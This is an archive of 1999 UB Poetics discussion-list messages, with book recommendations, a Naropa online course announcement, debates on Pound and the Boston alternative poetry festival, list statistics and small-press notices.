Date: Tue, 27 Jul 1999 00:49:24 -0700

Strings is a playful series of Flash pieces about relationships. It also raises questions about the presence/absence of the hand in this medium. Visual artists often criticise the lack of presence of the hand in digital art. In Strings, the hand is and is not present, is transformed, is transforming, is writing, is written, coded, morphed.

The guitar; then the electric guitar. The pen; then the electric pen.

Strings, by Dan Waber, new at Vispo:
http://www.vispo.com/guests/DanWaber

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348. Poetics List
Naropa from a distance
Thu 29 Jul 1999

Colleen Seltz (VP of enrollment at Naropa) requested
that I forward this announcement. Chris

--

From:[redacted]
Date: 7/28/99 8:58 PM +0000

ANNOUNCING NAROPA ..... FROM A DISTANCE

Beginning Fall Semester 1999, we are pleased to announce that the Naropa Institute will be offering select classes from the heart of our unique academic curriculum, from a distance.

The Naropa Institute is a private fully accredited liberal arts college in Boulder, Colorado, characterized by a Buddhist inspired heritage and a unique contemplative approach to education.

Naropa's Department of Writing and Poetics, inaugurated as the Jack Kerouac School of Disembodied 25 years ago by Allen Ginsberg and Ann Waldman offers accredited BA and MFA degrees and hosts the internationally known Summer Writing Program each year.

In Fall 99 Naropa will be offering six Writing classes as well as classes in

Religion and Psychology, via the World Wide Web using the latest Internet technology. All classes are offer for credit and are available to non-degree

seeking students as well as currently matriculated students. Please share this information with those who may be interested. For further information and details please visit our web site at www.naropa.edu. The classes in Writing available for Fall 99 are as follows:

WRITER'S CRAFT
NCCA 250e - 3 credits - Bill Scheffel

Course Description "Poetry is not an expression of the party line. It's that time of night, lying in bed, thinking what you really think, making the private world public; that's what the poet does". Allen Ginsberg

Although this is a writing workshop in creative non-fiction, Allen Ginsberg's statement expresses the heart of the class. Our goal is polished and exciting prose that also reveals the gifts, nuances and idiosyncrasies of each participant's life. Student will develop the craft of writing and the courage to tell their own stories. We will offer feedback to each other in a community spirit of trust and encouragement. Many ideas and methods will be given to spark the creative process. Reading from a sourcebook of essays and

stories (and even some poetry) by writers such as Annie Dillard, Edward Abbey, James Baldwin, Margueritte Duras and many others will be an integral part of class. Natalie Goldberg's Writing Down the Bones will be a required text. Open to writers of any level of experience.

About the Instructor Bill Scheffel has an MFA in Writing and Poetics from the Naropa Institute where he has taught Shambhala Meditation Practicum for eight years and, for three years, Writer's Craft. He has taught his writing workshop Chance, Synchronicty & Mind-Writing in Boulder, Colorado and various U.S. cities. He

has published two chapbooks, has read his poetry on National Public Radio and
has been published in Bombay Gin, Owen-Wister Review, Water & Stone and

other
publications.

THE EXPOSITORY ESSAY
WRI 534e- 3 credits - Lee Christopher
Course Description
In French essay means an attempt, a test, or a trial. In this course, students will experiment with their own thoughts within the structure of the

essay's various forms. They will explore many of the possibilities creative nonfiction affords them. For models, students will read essays by Montaigne, Virginia Woolf, Lu Hsun, Carlos Fuentes, Jorge Luis Borges, Ezra Pound, Henry Thoreau, James Baldwin, Andrienne Rich, Annie Dillard, Alice Walker, George Orwell, William Carlos Williams, E.B. White, Andrei Codrescu, and Ralph Waldo Emerson. To further broaden their perspective, students will use as model essayists the "Beats" such as Allen Ginsberg, Jack Kerouac, and William Burroughs. The most common grammar and punctuation problems will be addressed. In addition, each student will learn to recognize and correct his

or her own error patterns. As part of the writing process, time will be spent in reflection upon the ways in which problems were addressed and solved in our essays.

About the Instructor Lee Christopher M.Ed., Tulane University; M.F.A., Writing and Poetics, The Naropa Institute. In addition to teaching at Naropa, Lee teaches English at Metropolitan State College of Denver and is the executive editor of The New Censorship. Since 1996, she has been Peace Jam Foundation's lead writer for

curricula for Nobel Peace Laureates Betty Williams, Rigoberta Menchu Tum, Oscar Arias, Desmond Tutu, Nelson Mandela, Aung San Suu Kyi, Mairead Corrigan Maguire, and His Holiness the Dali Lama. Her most recent chapbook is The Hunt.

REBEL ANGELS
WRI 500e- 3 credits - Lee Christopher
Course Description
In this course students will study the history of the "beat generation" with

special emphasis on the writings the writers of this phenomenal era produced. Students will use as models Allen Ginsberg, Jack Kerouac, Gregory Corso, William Burroughs, Neal Cassady, Peter Orlovsky, Diane Di Prima, John Wieners, Amiri Baraka, Joanne Kyger, Lawrence Ferlinghetti, Lew Welch, Lenore Kandel, Philip Whalen, Bob Kaufman, Michael McClure, Gary Synder and others.

Students will come to understand the provocativeness and durability of Beat Literature. In addition, students will write their own visions in the multiple forms taught us by these courageous writers of the "beat generation."

About the Instructor Lee Christopher M.Ed., Tulane University; M.F.A., Writing and Poetics, The Naropa Institute. In addition to teaching at Naropa, Lee teaches English at Metropolitan State College of Denver and is the executive editor of The New Censorship. Since 1996, she has been Peace Jam Foundation's lead writer for

curricula for Nobel Peace Laureates Betty Williams, Rigoberta Menchu Tum, Oscar Arias, Desmond Tutu, Nelson Mandela, Aung San Suu Kyi, Mairead Corrigan Maguire, and His Holiness the Dali Lama. Her most recent chapbook is The Hunt.

POETRY WORKSHOP: GREAT COMPANIONS
WRI 539e- 3 credits - Lisa Jarnot
Course Description
Dante said to Virgil "Thou art my master and my author". What poet would you
name as Dante names Virgil? The focus of this workshop is poetic lineage, imitation and influence. We'll look at specific examples (Allen Ginsberg and
William Blake, Frank O'Hara and Vladimir Mayakovsky, Bernadette Mayer and Catullus) and we'll also explore the ways that we might expand our own poetry by imitating various styles and forms.

About theInstructor Lisa Jarnot is the author of Some Other Kind of Mission, Sea Lyrics and Heliopolis. Her second full-length collection of poems, Ring of Fire, is forthcoming from Zoland Books. She is also the co-editor of An Anthology of

New (American) Poetry (Talisman House, 1998) and was the editor of the Poetry Project Newsletter from 1996-1998. She has taught classes in writing and literature at Brown University, Long Island University, The Naropa Institute and The Poetry Project in New York City. She is currently writing

a biography of the San Francisco poet Robert Duncan. During the Spring of 2000 she will be a visiting professor at the University of Colorado, Boulder.

LITERATURE SEMINAR: THE FEELING TONE
WRI 530e- 3 credits - Bobbie Louise Hawkins

Course Description
In this Reading and Writing seminar we will address the work of four writers

as writers: namely, how do they achieve their unique tone and diction; and what can we use of their mode in our own work. This is not primarily a writing class, it is a Literature class, but I teach writing to beginning writers and I have found this approach to be useful for non-writers as well.

The writers and books will be (in this order):Evan Connell (Mrs. Bridge), Fay Weldon (Life and Loves of a She-Devil) Michael Ondaatje (Coming Through Slaughter) Colette (Earthly Paradise).

About the Instructor Bobbie Louise Hawkins has written twelve books of fiction, non-fiction, poetry and performance monologues as well as a one-hour play for the PBS series, The Listening Ear. Flying Fish has a CD of her performance, "Live at

the Great American Music Hall". In 1981 she participated in the "One World Poetry Festival" in Amsterdam and the same year was awarded a Fellowship in Literature from the National Endowment for the Arts. The Los Angeles Times said: "She excels at the short take, the oblique view, and the fundamental nugget of actuality". The New York Times wrote: "A superb impressionist, as well as a salty prose writer." She has performed her work at the Joseph Papp

Public Theater, Bottom Line, and Folk City in NYC, at The Great American Music Hall in San Francisco, at the Canterbury Festival and the Poetry Society in England where she worked with Apples and Snakes. In 1988 she was

invited by Anne Waldman to oversee the Prose Track in the MFA Writing Program.

PROSE WORKSHOP: SCULPTING PROSE
WRI 541e - 3 credits - T. Burke, Jr.

Course Description For prose writers who want to achieve familiarity with dramatic structure. For dramatists looking to infuse more lyricism into their work. The course will explore the singular demands of narrative and dramatic writing.... Determining the form in which a story can be most effectively presented. Revealing character through action and the dynamics of dialogue. Adapting classic and original prose into dramatic action. Plus, what constitutes a scene. How classic dramatic structure can be applied to a narrative. Self-editing as a creative skill.... At the end of the course, each writer will have a vivid picture of what form best suits his/her style,

approach and sensibility and will possess a much stronger command of their craft.

About the Instructor T. Burke, Jr. has a Masters in Writing and Poetics from the Naropa Institute. Last year, he received an Honor's Award from New Millennium Writing. He is the co-author of 'American Reel' -- a feature film

starring David Carradine and Mariel Hemingway, currently in release; and 'Stripmall Bohemia' -- a novel which has been optioned for film by Upside Down Pictures. With writer-performer Vicki Lewis, he is adapting 'For the Love of Esme' for network television. He is a three time Fellow to The Virginia Center for the

Creative Arts and has been presented with a Cable Ace Award and an R.I.A.A. Golden Disc. Since 1986, he has been a member of the Writers Guild of America.

Please visit our web site at www.naropa.edu for further information and to pre-register, as well as for listings of other online classes available.

↑ Index

349. **Jordan Davis**
take a left at Constructed-identity
Thu 29 Jul 1999

Brian --

I'd add Lisa Robertson's "Debbie" as an example of someone who foregrounds anachronism [i.e. imitating models outside the temporal estuary of plus/minus forty years].

Jordan

↑ Index

350. **Mark Weiss**
Re: 1999 Books
Thu 29 Jul 1999

Two books by Armand Schwerner:

From National Poetry Foundation, _The Tablets__, packaged with a CD of Armand reading several sections.
From Junction Press, _Selected Shorter Poems_.

Backchannel for ordering information.

Great review so far in PW, more to come in the August 5 Library Journal.

↑ Index

351. **Julie Johnson**
best books of 99 (so far...)
Thu 29 Jul 1999

Here is an (extremely) partial list of my favorite book this year, thus far...

Tales of Murasaki & Other Poems, Martine Bellen
The Agency of Wind, Laynie Browne
boundary 2 v. 26 no. 1, ed. Charles Bernstein
Other, ed. Richard Cadell & Peter Quartermain
The Case, Laura Moriarty
This Story is Mine, Emmanuel Hocquard
Polyverse, Lee Ann Brown

& my pick of the year...

Try, by Cole Swensen

↑ Index

352. derek beaulieu
Re: 1999 Books
Thu 29 Jul 1999

---

i think that nmy votes would have to go to:
gary barwin for "Outside the Hat" (Coach House Books)
and the small press release "Donair Bottle Depot Laundromat: inglewood poems" by jill hartman (semi-precious press)

ciao
derek
----- Original Message -----
From: George Bowering <[redacted]>
To: <[redacted]>
Sent: July 29, 1999 1:58 AM
Subject: Re: 1999 Books

> >For several reasons, I've a question for y'all: what are the best books
of
> >poetry (collections, summations, book-lengths, etc.) published in 1999
> >you've come upon?
> >
> >Susan
>
> For me, they have included Erin Moure's _A Frame of the Book_ and Wayde
> Compton's _49th Parallel Psalm_
>
>
>
>
>
> George Bowering.

> ,
>
>
> fax: [redacted]
>

↑ Index

353. William Slaughter
Mudlark Poster No. 18 (1999)
Thu 29 Jul 1999

New and On View

_____

M U D L A R K

Poster No. 18 (1999) * * * On a Bluff at Elrod Mill Two Poems by Van K. Brock * * * My South, My Russia

Van K. Brock is Editor-in-Chief of International Quarterly. His most recent book is Unspeakable Strangers (Anhinga). His most recent chapbook is A Conversation with Martin Heidegger in English language original and German translation (Mudlark).

William Slaughter

_____

MUDLARK
An Electronic Journal of Poetry & Poetics
Never in and never out of print...
E-mail: [redacted]
URL: http://www.unf.edu/mudlark

↑ Index

354. hassen
Re: WCW on women
Fri 30 Jul 1999

---

is it possible, do you think, that wcw was speaking with cheek of tongue here?

curious,
hassen

_____

> *Since there is some discussion about WCW's special feelings for Black women, this comment of his might be considered in piecing together the bigger picture:*

> "*Suppose all women were delightful, the ugly, the short, the fat, the intellectual, the stupid, even the old-- and making a virtue of their qualities, each for each, made themselves available to men, some man, any man--without greed. What a world it could be-- for women!... Take for instance the fat: If she were not too self-conscious, did not regret that she were not lissome and quick afoot but gave herself, full-belly to the sport! What a game it would make! All would then be, in the best sense, beautiful--entertaining to the mind as to the eye but especially to that part of a man which we so mistakenly call the intellect... He would be free, freed to the full completion of his desires.*"

↑ Index

355. **komninos zervos**

Re: 1999 Books

Fri 30 Jul 1999

"close listening" edited by charles bernstein would have to be the best collection of essays on performance poetry i have ever read. i have been a professional performance poet since 1985 and i've always been made to feel inferior to the print poets of australia - because people who prefer print poetry were critiquing my work and the work of performance poets. we are not included in the anthologies, the canons, we are not winning any literary prizes, and our self publications are not even being archived in libraries. we will go unnoticed in the documentation of literary history. yet we perform our writings to school students, people in pubs, coffee lounges, the streets and generally to a very good response from our often unsuspecting audiences. i have never had anyone come up to me at a poetry reading and say that they would have prefered to have read these poems from a book. whilst some may say that performance poetry by the poet ties down a poem to one meaning, one interpretation of the poem, let me say that each time i read a poem to a new audience the poem becomes new, the audience and the ambiance of that particular reading rewites the poem. "close listening" has changed the way i see my artform, one which i had confidence and faith in, but one that was being continually put down by a language that was designed to comment on print poetry and print publication. bernstein's book has made me realize that, in fact, the audience for print poetry has been steadily decreasing since WW2, in australia last year oxford university press, penguin and university of queensland press dropped their australian poetry lists, and even when they were publishing australian poets, the print runs were 500-750 books, an incredibly small number even by australian standards. on the other hand, since WW2 we have seen a considerable increase in interest for performance poetry and the

development of career performance poets like myself who actually make a living from performing their work around the country. black mountain and the beats, yefteshenko, dylan thomas, and the mersey beat poets from the uk had their affect in australia as well. at the moment we have about 15 performance poets, maybe more, who earn their living by speaking their poetry and another hundred or so who are semi-professional. in each capital city there is an active performance poetry scene. if anything, the print poets, like john tranter, les murray, bruce dawes, who have been popular in this country, have adopted some of the techniques of the performance poets, and more readily express their poetry in public.

"close listening" does not make an argument for performance poetry over published poetry but rather recognizes that both are different artforms, each with its own audience, each with its own critical language.

regards
komninos

At 07:58 PM 7/22/99 -0400, you wrote:
>For several reasons, I've a question for y'all: what are the best books of
>poetry (collections, summations, book-lengths, etc.) published in 1999
>you've come upon?
>
>Susan
>
>
komninos's cyberpoetry site http://student.uq.edu.au/~s271502
cyberpoet@slv site http://www.experimedia.vic.gov.au/cyberpoet/
komninos zervos, tel. [redacted]
lecturer in cyberstudies,
school of arts,
gold coast campus,
griffith university,
pmb 50, gold coast mail centre
queensland, 9726
australia.

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356. **jasfoley**
Jack Folie
Fri 30 Jul 1999

I came back from Berkeley where I had just finished hosting a two hour show OUTSIDE the KPFA studios (at "Camp KPFA") to find this:

"Poet Jack Folie has (had) a poetry show on KPFA Wednesdays. Can his silence and invisibility during the struggle be taken as pro-Pacifica? Or he may know much more about the dispute and recent history of disputes than the average listener and so have opinions or insights that preclude membership in the movement; if anyone is familiar with him, please beseach him to elucidate publicly."

Where is this person getting his information?--not to mention the spelling of my name. I have hardly been "silent and invisible." I have consistently supported the protests at KPFA on the air, at rallies (where I have occasionally spoken), and in many conversations. Like everyone else on the staff, I am currently locked out of the station. I will participate in the mass rally and march on Saturday and do whatever I can to think about and resolve the crisis. I am featuring Nicole Sawaya (the ousted General Manager) at a PEN Oakland event. I do not support Pacifica.

Sincerely,

Jack Foley

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357. Noam Scheindlin
NYC SUBLET
Fri 30 Jul 1999

Hello,

I will be subletting my Brooklyn apartment for the last two weeks of August. I live on a beautiful street in the great neighborhood of Greenpoint, home to many poets. Manhattan is easily accessible by G or L train, and Williamsburg is a quick walk away. My one speed bike is included and I'll even fix the brakes. My apartment is well lit, quiet, clean and overlooks my neighbors well tended gardens (you can look out the window and watch them tending it). There's a computer, plants, and lots of books. Cost is $350 + telephone calls and deposit.

If you are interested, please email me at [redacted].

Best,

Noam Scheindlin

↑ Index

358. Brian Stefans
Modernists in the basement
Fri 30 Jul 1999

Re:

>Another pretty instructive exercise is to compare, say, *Jefferson and/or Mussolini* with *In the American*.

I just recently read the anthology Fascism, edited by Roger Griffin for Oxford Univerisity Press, and then went back to looking at Pound's writing from Selected Essays and was struck by how the tone of EP's writings there, not to mention the content, is not so far off from the Italian section of this anthology, which isn't surprising but might be to those who abide by the "Pound wasn't a fascist, he was a clown" mentality which is occasionally put forth. EP was in fact much more anti-Semitic than the Italian fascists were at that time (at least officially), it seems to me at least.

↑ Index

359. Stephen Vincent
Re: Joanne Kyger
Fri 30 Jul 1999

If I may, a brief plug for PATZCUARO, a new, elegantly produced chapbook by Joanne Kyger. 30 pages. I don't have the price. Published by Blue Millennium Press, Box 958, Bolinas, CA 94924. A spacious, incredibly attentive, elegant eye; not afraid of the smart turn, situated within a baroque tension of ancient and contemporary, the poems provide a focused mix of pleasure and terror. I won't say ignore Joanne at peril. But "The Beautiful Adjectives and Magnificent Metaphors of Pablo Neruda," achieved thru appropriation of quotes of ten of his contemporaries, is well worth the price of admission. (Price & book can probably be gotten thru SPD?). End dee plug.

Cheers,
Stephen Vincent

↑ Index

360. Joan Houlihan
Re: Pound and the Bollingen Prize
Fri 30 Jul 1999

Brian,

I'm not familiar with all of your references, but you raise some interesting points.

--"work" as I've used it, IS the "seemingly isolated ("art-for-art's sake"), timeless artifact" as you put it. But you are positing another idea of work; i.e., that of an activity connected to the historical and individual context of the writer, and therefore an expression of the "man." That would be non-fiction (in your example, the essays of Pound as opposed to the poetry). Without getting into

the distinctions between these two forms--fiction (including poetry) and non-fiction (another interesting topic--e.g. memoir, or new journalism, or "confessional" poetry), I'll just say that my definiton of "work" is concerned only with the work of the imagination; or fiction/poetry.

--Re: "imagine Robert Mapplethorpe leading a double life as a Washington lobbyist, or some Xtian rightist, pushing for something like strict policing of the internet, mandatory short haircuts for men under the age of twenty, prayer before every meal, or well just imagine him being some sort of obsessed (sexually repressed) outsider politico pushing for centralized, conservative values (and symbols) that run up against his art work."

I'd have no problem imagining this--if Mapplethorpe was never able to live as an artist all of that would be entirely possible. In many ways, this is a standard model of the conflict between the creative, usually hidden-from-society, self and the public personna. It's a "double life" only in the sense that the inner self is never reconciled/expressed as the outer self. Instead, the outer self lays claim to the territory necessary for its survival as a social being, develops the necessary masks and "personas" and keeps the imagination hidden--unless it finds expression in art, writing, etc. The more creative "exposure," the more chance to match up the inner and outer selves. Mapplethorpe's artistic life was also his lived life, so it's hard to see him violating that artisitc life, but don't MOST people lead a so-called double life? How do you not do this? Attempting to live a life focused entirely on truth of expression for example, or totally honest interactions--is a pretty radical--and psychologically dangerous--way to live. Without getting into all the psychological implications (and biological and genetic), you could look at Sylvia Plath as an example of someone striving to live "honestly." Her work was a nearly seamless outgrowth of her emotional life. But this is generally not a survivable condition in the "real world." Maybe in the world of saints and such.

Then, when it is time to offer him a prize, you would be in the position of asking whether the "work" is the same thing
>as the "man".

See above. I don't agree that one would be in that postion, unless we're discussing non-fiction.

More comments below.

Best,
Joan

> *A recent one I came across: apparently the German painter Gerhardt Richter was the prophet of pop art back in the day, introducing or at least championing Warhol and those folk, but now he seems to clearly on the*

> *monumental side -- large-scale abstract paintings, with a near classical sense of balance, or perhaps romantic sense of sturm and drang -- with someone like Kiefer in opposition to the "democratic" vision of someone like Polke. How does that happen?*

What's the mystery? The essence of creativity is change.

> *Why are poets like Drew Milne and Jeremy Prynne, the former of whom is a recognized Marxist scholar, more or less perceived, by the Americans aware of their work, as somewhat reclusive, decidedly "highbrow" poets (I think in the tradition of Thomas Gray)?*

Perception of the art is a decidedly distinct topic from expression of it. This introduces an entirely new train of thought, not germane to the topic of "work" vs. "man" I don't think, but more of an offshoot.

> *Actually, more women do come to mind: why is Barbara Kruger using techniques explored by proto-fascist artists, including some of their color schemes, to present purportedly progressive feminist progaganda? Is this art or social work?*

I don't know her work but it sounds like a great and lively concept--re-using the techniques of the "enemy" in the service of one's own propaganda. I don't know how such a thing would be classified--some propaganda is indeed art ("Triumph of the Will"), some is merely banal commentary. But "social work"? If this isn't tongue-in-cheek, then I don't know what you mean here.

> *Joan Houlihan <[redacted]> on 07/22/99 09:39:55 AM*
>
> *Please respond to UB Poetics discussion group*
> *<[redacted]>*
>
> *To: [redacted]*
> *cc: (bcc: Brian Stefans/Trade/RandomHouse)*
> *Subject: Re: Pound and the Bollingen Prize*
>
> *Well, not exactly. I agree that:*
>
> *The work is not the man.*
> *The prize is not the man.*

> *Therefore, the man is neither the prize nor the work.*
>
> *However:*
> *The prize is the both work and the man.*
> *There has to be work to be a prize; and, by implication, there has to be a man (or woman) to be work. The ratio of man to prize increases in relation to how "political" the selection criteria are.*
>
> *In general, I feel that ethical considerations of the writer's life should be entirely separate from considerations of the work--not that ethical concerns shouldn't be considered, discussed, dissected, etc., just that they*
> *shouldn't be seen as germane to the work. At all. A close-up of anyone's life reveals multiple layers, "selves" and contradictions--the study of personality is an interesting one. However, in the case of a writer, their biography is merely another footnote, and maybe a totally misleading footnote at that. A critique of the work, on the other hand, is much closer to the writer's "self."*
>
> *The work is not the man, neither is the prize the work. The prize, as i think you are saying, is a political gesture apart from the work.*
>
> _____
> *Get Free Email and Do More On The Web. Visit http://www.msn.com*
>
> _____
> *Get Free Email and Do More On The Web. Visit http://www.msn.com*

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

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361. **Aldon Nielsen**
Gloria Tropp
Fri 30 Jul 1999

Can anyone backch. me with a mailing address for Gloria Tropp; I've managed to lose it in the course of all my moves -- I got it from somebody on this list in the first place -- hope that somebody is still subscribed!

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362. **Poetics List Administration**

list stats

Fri 30 Jul 1999

Below is the current subscribership of the Poetics List, arranged by country.
Apologies for omissions due to the U.S.-imperialist bias secreted in the Listserv
program, which in generating this data quietly assumes that addresses without
a country code [such as .au for Australia] are U.S. addresses. Ach, hardly any surprise in this you may be saying.

Chris

p.s. Special thanks to our Russian subscriber[s].

% Christopher W. Alexander
% poetics list moderator

```
*  Country                Subscribers
*  -------                -----------
*  Australia                   14
*  Belgium                      2
*  Canada                      42
*  Finland                      1
*  Germany                      2
*  Great Britain               23
*  Ireland                      4
*  Italy                        1
*  Japan                        7
*  Netherlands                  1
*  New Zealand                 14
*  Poland                       1
*  Singapore                    1
*  Spain                        2
*  Sweden                       5
*  Switzerland                  2
*  Thailand                     1
*  USA                        633
*  Yugoslavia                   1
*
* Total number of users subscribed to the list:    759
* Total number of countries represented:           19
```

↑ Index

363. **Poetics List Administration**

Re: Poem on 'good things about turning 80' / Safdie

Fri 30 Jul 1999

---

this came to the administrative account. Chris

--

From: "Safdie Joseph" <[redacted]>
Date: 7/29/99, 1:14 PM -0700

I'm trying to find a poem or some verse on the good things about turning 80, or old age, ...

Any suggestions about where best to look, or some verse itself would be much appreciated.

Heather, there's a famous poem by Sophocles about being very happy he had turned 90, because he didn't have to worry about sex anymore -- "and all its entangling confusions" if I remember correctly . . .

I'm not sure if Ezra Pound had it in mind when he wrote that hilarious letter to WCW that Kent quoted yesterday, but maybe he should have!

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

August 1999

355 messages · Fri 30 Jul 1999 – Tue 31 Aug 1999

On the eleventh of August the moon blotted out the sun over Europe and Asia — the last total eclipse of the millennium, watched by millions — and the Poetics List, so far as its archive shows, hardly glanced up. It had turned its whole attention inward, onto itself, for a reckoning that would occupy nearly the entire month: a long, painful, necessary argument about who its idea of poetry leaves out.

It began as criticism and became something larger. Reviewing the second annual Boston Alternative Poetry Festival, Jacques Debrot located its weakness, carefully, in *“the most featured Boston poets”* — a judgement of taste that might have stayed a judgement of taste. But the word alternative had been left lying in the open, and the list could not walk past it.

Alternative to what, exactly, and for whom? Tisa Bryant, a Boston native writing from San Francisco, asked where the city’s Black poets had been on the program; Karen Kelley, who *“loved the city and it infuriated me,”* named the genteel local habit of recasting racism as mere ignorance; and Maria Damon put the structural point most plainly — that *“alternative does tend to mean a certain alternative,”* a single experimental style wearing the costume of openness. Pierre Joris, half in grief, recalled Stephen Jonas, the Black Boston poet *“killed by smack, or Boston”* in the mid-sixties, and asked whether anyone still read him.

And yet the same room, in the same weeks, was quietly at its best. Word arrived through Burt Kimmelman that Cid Corman — the expatriate editor of Origin, who from a coffee shop in Kyoto had introduced half the room’s influences to one another — was in trouble, his situation *“precarious, to say the least.”* The list mobilized at once: proposals to petition the ambassador, to find a grant, to recover for an old poet in distress some fraction of what he had spent decades giving away.

There is no tidy way to set these two Augusts beside each other — the argument about exclusion and the rush to rescue an excluded elder — except to say that they are the same community taking itself seriously, and that the second is the answer the first was groping toward. The list did not settle whether it was as open as it believed itself to be. But it did, in the end, do a few concrete open things: it passed the hat for Cid Corman, and, answering Joris, it confirmed that Stephen Jonas is still taught, still written about, still read. In a month spent asking who

gets left out, that was something — two names carried back in from the margin, and kept.

— Kristen M. Fabians

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Writers, names mentioned, and concepts. Every number links to its message. 355 in all.

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1. John Tranter
Farm Implements?
Fri 30 Jul 1999

Jeffrey Jullich <[redacted]> mentioned in his survey of Scandanavian poetry the line

"He offers a smile, mild
/ as pick-axe handles a / mile wide which kindles/ the hide of rutabegas"

As a long-time fan of John Ashbery, I'm a little concerned that the spelling of

rutabagas

is getting abraded here. We don't have them in Australia -- we have Swedes and turnips, but not rutabagas -- but that's no reason to become careless about our treasury of English spellings.

Anyone care to comment?
best,
JT

↑ Index

2. Lawrence Upton.
(no subject)
Fri 30 Jul 1999

Happy Birthdays to Bob Cobbing & Jennifer Pike
who are about each to be another year young
still creating after all these years

↑ Index

3. Susan Wheeler
1999 Books
Fri 30 Jul 1999

Thanks to all for their book endorsements. I'm 12 days away from a deadline on a book and not focusing on much else right now, but know there were a couple in these posts I haven't yet come across and want to, having been asked to help jury a new book prize and wanting to cast as wide a net as possible. So in a couple weeks I'll be reaping the read from these recos. Alas all need to be dated 1999; anything noted 1998 in the front pages won't work.

Anyone know the status of the newsprint <Countermeasures>?

Susan

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4. Maria L. Zavialov
Bolsheviks and feminism
Fri 30 Jul 1999

Dear Lynn I read your post on Bolsheviks and feminism. You mention Zhenotdel in your post. My grandmother was the head of Zhenotdel after WWII in a provincial town. She was a very active woman and power-lusty. Even in the family my Granny ruled the waves. My grandfather couldn't cope with the regime and receded into his private realm of hunting and fishing, of course he worked, everybody had to work, he was a butcher, but he even had no idea how to pay rent (the very sight of bills switched him off) so removed he was from any kind of beaurocracy. The feminism then had to do predominantly with power. The Bolsheviks' was a strange sort of feminism. The Party was (not only claimed to be but somehow was) the carrier (or embodiment but carrier here is a better word) of all ideology and spirituality, of all things immaterial. I remember back in the 70s there were slogans everywhere in St. Petersburg (Leningrad it was then) like this: The Party is the Mind, Honour and Conscience of our Epoch. See what I mean? So the Party was the Feminism of our Epoch too. And when it collapsed, when the frame collapsed, everything that was hanging on this frame collapsed too. Masha

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5. Jacques Debrot
Re: Boston 99
Sat 31 Jul 1999

For the second time in as many years, the weakness of the Boston Alternative Poetry Conference lay, with a few significant exceptions, with the most featured Boston poets. This is more than, I think, simply the idiosyncrasies or biases of my own taste. I don't even mean to render a judgement necessarily on the "value" of this work. What I found disappointing though was precisely the extent to which a lot of the featured Boston writers, both younger & older, by reason of, for example, their relatively uncomplicated adherence to mimetic and linear discourses, are "alternative" only in the most problematic way--even given the slipperiness of the term. This is particularly evident of course when the New York poets come to town. Whatever the virtues of Bill Corbett's or Gerrit Lansing's work for example--and there are many--there is no one with any clout on the Boston scene about the age of the Language Poets who isn't still working very clearly within the context of Modernist poetics--here, Black Mountain, the predominant influence on the city's "alternative" poetry, didn't really lead to anything but the attempt to find a more "natural" language (Emerson's influence as well?)--& this it seems to me is the most conservative spin one could take on Olson's demand for linguistic reforms. This missing

generation of experimentalist writers--so important, it seems to me, to the poetry scenes in NY, LA, SF, & DC--is one of the principal causes of the ambivalencies of Boston poetry. It doesn't help either that Harvard & Boston Universities are so unadventurous--you only have to look at what Bob Perelman's getting tenure at the University of PA has meant to the scene there to see what a catalyzing (or inhibiting) role the universities can play in the cultural life of a city. Which is not to say that there is no alternative to the Bost Alternative--Jack Kimball's EAST VILLAGE anthology suggests that different emphases could have been made--but the absence of, say, Lori Lubeski from the Conference is symptomatic of the general Boston maliase.

↑ Index

6. Billy Little

Re: 1999 Books

Sat 31 Jul 1999

> *For several reasons, I've a question for y'all: what are the best books of poetry (collections, summations, book-lengths, etc.) published in 1999 you've come upon?*
>
> *Susan*

www.eastvillage.com
www.jacket.com
the newark review
explosive mag
submit you dog
rhizome
Girl From Ermita and Selected Poems Goh Poh Seng
scars on th seehors bill bissett

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]
zonko

↑ Index

7. Jacques Debrot
Re [2]: Boston 99
Sat 31 Jul 1999

My post was written in such haste, I just want to add that it might have been unclear that I was speaking about the featured *Boston area poets*. The term "Boston poets" might seem to imply, erroneously that I was talking about all of the poets who attended the *Boston* conference.

What if? What if John Wieners were in a position to exert influence? What if Clark Coolidge had lived in Boston & not western MA? What if Michael Gizzi taught here? . . .

↑ Index

8. Alaric Sumner
Dom Sylvester Houédard archive
Sat 31 Jul 1999

The recent mention of dsh on the wr-eye-tings list prompts me to send the following:

The dsh (Dom Sylvester Houédard) archive is now at John Rylands Research Institute.
They have an interim document available with brief listings of their collection.
Contact Stella Halkyard on "S.HALKYARD, Deansgate" <[redacted]>

> *3.3 Twentieth-Century English Literary Archives, Stella Halkyard.*
>
> *Since the last issue of the Newsletter, much of the work of this project has been*
> *concerned with the acquisition of new archives as part of its brief within the field of collection development. New archives include: the literary papers and letters of the poet Dawson Jackson; the second instalment of the archive of the*
> *Benedictine mystic and poet, dom sylvester houedard; the papers and artist's `roughs' of the Carcanet Press book jacket designer Stephen Raw; and material (including audio tapes as well as paper manuscripts) relating to the publishing of*
> *Carcanet's book Conversations with Critics by Nicolas Tredell. New and extensive additions to the Carcanet Press Archive have also been made.*
>
> *With the start of the new academic year, the project's `outreach' programme into*
> *the Department of English Language and Literature, University of Manchester, continued to develop, ensuring that the Rylands collections relating to*

> *the study*
> *of English have a high profile within their parent institution.*

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9. Gerald Schwartz
boston conf.
Sat 31 Jul 1999

To List:

Are there any reports from the "2nd Annual Boston Alternative Poetry Conference, specifically the Bronk Reading, and Maria Damon's presentation? If any can, please share.

Thank you

Best,

Gerald

↑ Index

10. Lawrence Upton.
WF Publications
Sat 31 Jul 1999

Writers Forum announces the publication of:
= "the unintentional offensive as turning point" by Bob Cobbing & Lawrence Upton ISBN 0 86162 886 1 £1 plus postage
= "guests in the land of yomi" by Lawrence Upton & Bob Cobbing ISBN 0 86162
887 X £1 plus postage
Both part of "Domestic Ambient Noise"
= "Neutral Drums" by Robert Sheppard & Patricia Farrell ISBN 0 86162 967 1 £2 plus postage
= "Voices" by Bob Cobbing ISBN 0 86162 970 1 £2 plus postage
= "RECOGNITION" by Elizabeth James ISBN 0 86162 969 2 £1.50 plus postage

Order from New River Project 89a Petherton Road, London N5 2QT
Sterling only. 50p and item should cover p & p - more for overseas
If you can't do sterling then I suggest you deal through a sympathetic bookseller- Mr Riley for instance?
NB Please don't send me orders. I don't have any WF books for sale and I don't live near him. I do this because he hasn't got an internet connection.
Thank you
Lawrence

The Sub Voicive Poetry website:
http://www2.crosswinds.net/members/~subvoicivepoetry/

Lawrence Upton's website:
